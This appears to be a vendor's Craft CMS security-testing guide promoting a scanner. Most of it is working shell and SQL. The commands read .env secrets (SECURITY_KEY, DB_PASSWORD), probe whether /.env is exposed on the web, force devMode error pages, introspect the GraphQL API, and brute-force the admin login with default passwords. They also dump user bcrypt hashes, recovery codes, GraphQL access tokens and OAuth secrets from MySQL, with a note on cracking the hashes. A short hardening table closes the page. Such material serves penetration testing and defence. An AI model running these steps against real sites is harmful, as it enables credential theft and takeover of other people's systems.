Craft CMS Security Testing: Default Credentials, API Key, Database, and CMS

Craft CMS is a powerful PHP CMS used by agencies and enterprises to power high-profile websites. Key assessment areas: the .env file exposes SECURITY_KEY (used for all HMAC token signing and cookie validation) and DB_PASSWORD; GraphQL API endpoints may allow schema introspection or data access without authentication; devMode=true exposes full stack traces containing credentials; and the users table stores all CMS accounts with bcrypt hashes. This guide covers systematic Craft CMS security assessment.

Table of Contents

  1. .env SECURITY_KEY and DB_PASSWORD Extraction
  2. GraphQL API and Admin Credential Assessment
  3. MySQL users Hash and Admin Account Extraction
  4. Craft CMS Security Hardening

.env SECURITY_KEY and DB_PASSWORD Extraction

# Craft CMS — .env SECURITY_KEY and DB_PASSWORD extraction
CRAFT_URL="https://craftsite.example.com"

# .env file — Craft CMS security key and database credentials
cat /var/www/craftcms/.env 2>/dev/null
# SECURITY_KEY=...     <-- HMAC signing key for all tokens, cookies, sessions (CRITICAL)
# DB_DRIVER=mysql
# DB_SERVER=localhost
# DB_DATABASE=craftcms
# DB_USER=craftcms
# DB_PASSWORD=...      <-- MySQL password (CRITICAL)
# DB_TABLE_PREFIX=
# DEV_MODE=true        <-- devMode: exposes stack traces with full .env

python3 -c "
content = open('/var/www/craftcms/.env').read()
for line in content.split('\n'):
    if any(k in line for k in ['SECURITY_KEY','DB_PASSWORD','DEV_MODE','ENVIRONMENT']):
        print(line[:80])
" 2>/dev/null

# Check .env web exposure
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CRAFT_URL}/.env" 2>/dev/null)
echo "/.env: HTTP ${STATUS}"

# config/db.php — fallback database configuration file (older Craft installs)
cat /var/www/craftcms/config/db.php 2>/dev/null | grep -E "server|database|user|password"

# Check devMode stack trace exposure — trigger a deliberate error
curl -s "${CRAFT_URL}/nonexistent-to-trigger-devmode-error" 2>/dev/null | \
  grep -E "SECURITY_KEY|DB_PASSWORD|devMode|Craft\\\\" | head -5

GraphQL API and Admin Credential Assessment

# Craft CMS GraphQL API — schema introspection and data access assessment
CRAFT_URL="https://craftsite.example.com"

# Craft CMS GraphQL endpoint (Craft 3.3+)
# Default endpoint: /api (configurable in config/general.php)
for GQL_PATH in "/api" "/graphql" "/craft/api"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${CRAFT_URL}${GQL_PATH}" \
    -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' 2>/dev/null)
  echo "${GQL_PATH}: HTTP ${STATUS}"
done

# GraphQL schema introspection — enumerate all types and queries
curl -s -X POST "${CRAFT_URL}/api" \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name}}}"}' 2>/dev/null | \
  python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    types=d.get('data',{}).get('__schema',{}).get('types',[])
    print(f'Types found: {len(types)}')
    for t in types[:10]:
        print(f'  {t.get(\"name\")}')
except: print('Error or access denied')
" 2>/dev/null

# GraphQL query for entries (if public access enabled)
curl -s -X POST "${CRAFT_URL}/api" \
  -H "Content-Type: application/json" \
  -d '{"query":"{entries{id,title,slug,dateCreated}}"}' 2>/dev/null | \
  python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    entries=d.get('data',{}).get('entries',[]) or []
    print(f'Entries accessible: {len(entries)}')
    for e in entries[:5]:
        print(f'  [{e.get(\"id\")}] {e.get(\"title\")} — {e.get(\"slug\")}')
except: pass
" 2>/dev/null

# Admin credential brute-force at /admin/login
for CRED in "admin@example.com:admin" "admin@example.com:Admin123" "admin@example.com:password"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Get CSRF token
  CSRF=$(curl -s "${CRAFT_URL}/admin/login" 2>/dev/null | \
    grep -oP 'name="CRAFT_CSRF_TOKEN" value="\K[^"]+' | head -1)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${CRAFT_URL}/admin/login" \
    -d "CRAFT_CSRF_TOKEN=${CSRF}&loginName=${EMAIL}&password=${PASS}&action=users/login" \
    -c /tmp/craft_c -b /tmp/craft_c -L 2>/dev/null)
  echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done

MySQL users Hash and Admin Account Extraction

# Craft CMS MySQL database — users hash and admin account extraction
DB_PASS="extracted-db-password"

mysql -u craftcms -p"${DB_PASS}" craftcms 2>/dev/null << 'EOF'
-- Craft CMS users — admin accounts with bcrypt hashes
SELECT u.id, u.username, u.email,
       u.password,              -- bcrypt hash
       u.admin,                 -- 1 = full admin access
       u.firstName, u.lastName,
       u.dateCreated, u.dateUpdated,
       u.lastLoginDate, u.lastInvalidLoginDate,
       u.invalidLoginCount, u.locked
FROM craft_users u
WHERE u.deletedWithUserGroup IS NULL
ORDER BY u.id;
-- password: bcrypt with cost 13 — hashcat mode 3200
-- admin=1: unrestricted Craft admin access including system config

-- User groups and permissions
SELECT ug.id, ug.name, ug.handle,
       u.username, u.email, u.admin
FROM craft_usergroups ug
JOIN craft_usergroups_users ugu ON ugu.groupId = ug.id
JOIN craft_users u ON u.id = ugu.userId
ORDER BY ug.id, u.id;

-- Recovery codes / password reset tokens
SELECT r.userId, r.code, r.dateCreated,
       u.email, u.username
FROM craft_recoverycodes r
JOIN craft_users u ON u.id = r.userId
ORDER BY r.dateCreated DESC
LIMIT 10;

-- Craft CMS tokens (API tokens, GraphQL tokens)
SELECT t.id, t.name, t.accessToken,
       t.enabled, t.expiryDate,
       t.dateCreated
FROM craft_gql_tokens t
WHERE t.enabled = 1
ORDER BY t.id;
-- accessToken: GraphQL API token for content access

-- OAuth / social login credentials (if Craft Social plugin)
SELECT s.id, s.userId, s.providerHandle,
       s.token, s.secret, s.refreshToken,
       u.email
FROM craft_social_useraccounts s
JOIN craft_users u ON u.id = s.userId
ORDER BY s.id
LIMIT 10;
EOF

Craft CMS Security Hardening

Craft CMS Security Hardening Checklist:
Security TestMethodRisk
.env SECURITY_KEY extraction enabling HMAC token forgeryRead /var/www/craftcms/.env or web-exposed /.env — SECURITY_KEY for signing all cookies, tokens, password reset links; forge signed cookies without password knowledgeCritical
devMode=true stack trace leaking SECURITY_KEY and DB_PASSWORDTrigger error with DEV_MODE=true — Craft error page exposes .env contents, database config, template paths, Craft version for CVE targetingCritical
.env DB_PASSWORD MySQL credential extractionRead /.env — database credentials; full access to craft_users bcrypt hashes, craft_gql_tokens API keys, all CMS contentHigh
GraphQL schema introspection and unauthenticated content accessPOST /api with introspection query — enumerate all content types; query entry data without authentication if schema permissions misconfiguredHigh
craft_users bcrypt hash extraction with admin identificationMySQL SELECT admin, password FROM craft_users — bcrypt hashes (mode 3200); admin=1 accounts have full Craft CMS control panel accessHigh

Automate Craft CMS Security Testing

Ironimo tests Craft CMS deployments for .env SECURITY_KEY and DB_PASSWORD web exposure at /.env, devMode=true error page .env contents leakage assessment, GraphQL API /api endpoint schema introspection and unauthenticated content access, admin credential brute-force at /admin/login, craft_users bcrypt hash extraction with admin=1 administrator identification, craft_gql_tokens plaintext API token extraction, craft_recoverycodes password reset token enumeration, craft_social_useraccounts OAuth token exposure if Social plugin installed, config/db.php MySQL credential fallback extraction, and Craft CMS version disclosure for CVE targeting.

Start free scan